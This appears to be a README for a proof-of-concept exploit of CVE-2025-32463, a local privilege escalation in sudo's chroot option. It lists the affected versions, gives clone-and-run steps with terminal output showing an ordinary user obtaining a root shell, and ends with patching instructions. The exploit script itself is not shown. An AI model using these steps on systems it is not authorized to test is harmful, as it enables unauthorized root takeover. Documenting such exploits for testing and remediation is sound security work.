CVE-2025-32463 – Sudo EoP Exploit (PoC) with precompiled library

This repository contains a proof-of-concept (PoC) exploit for CVE-2025-32463, a local privilege escalation vulnerability in sudo discovered by Rich Mirch.

Credit

https://github.com/kh4sh3i/CVE-2025-32463

⚠️ Disclaimer

This PoC is for educational and authorized testing purposes only. Do not use this code on systems you do not own or have explicit permission to assess.

🔧 Requirements

• sudo with chroot support (-R): version 1.9.14 to 1.9.17
• nsswitch enabled

🚀 How to run the POC

git clone https://github.com/zinzloun/CVE-2025-32463.git
cd CVE-2025-32463

Check if the current user has low privileges

:~/CVE-2025-32463$ id
uid=1001(poc) gid=1001(poc) groups=1001(poc),100(users)

Check requirements

:~/CVE-2025-32463$ sudo --version
Sudo version 1.9.15p5
...
:~/CVE-2025-32463$ ls -al /etc/nsswitch.conf
-rw-r--r-- 1 root root 526 Feb 16 20:57 /etc/nsswitch.conf

Run the exploit

:~/CVE-2025-32463$ chmod +x poc.sh && ./poc.sh
woot!
root@ubutes01:/# id
uid=0(root) gid=0(root) groups=0(root),100(users),1001(poc)

🚒 Remediation on Ubuntu 24.04 LTS

• For connected systems just run

  root@kitploit:~

  sudo apt update && sudo apt upgrade
  

• For air gapped systems: you can obtain the last sudo package from here: https://github.com/sudo-project/sudo/releases/download/v1.9.17p1/sudo_1.9.17-2_ubu2404_amd64.deb. Once the package has been transfered to the target system, just run:

  root@kitploit:~

   sudo dpkg -i sudo_1.9.17-2_ubu2404_amd64.deb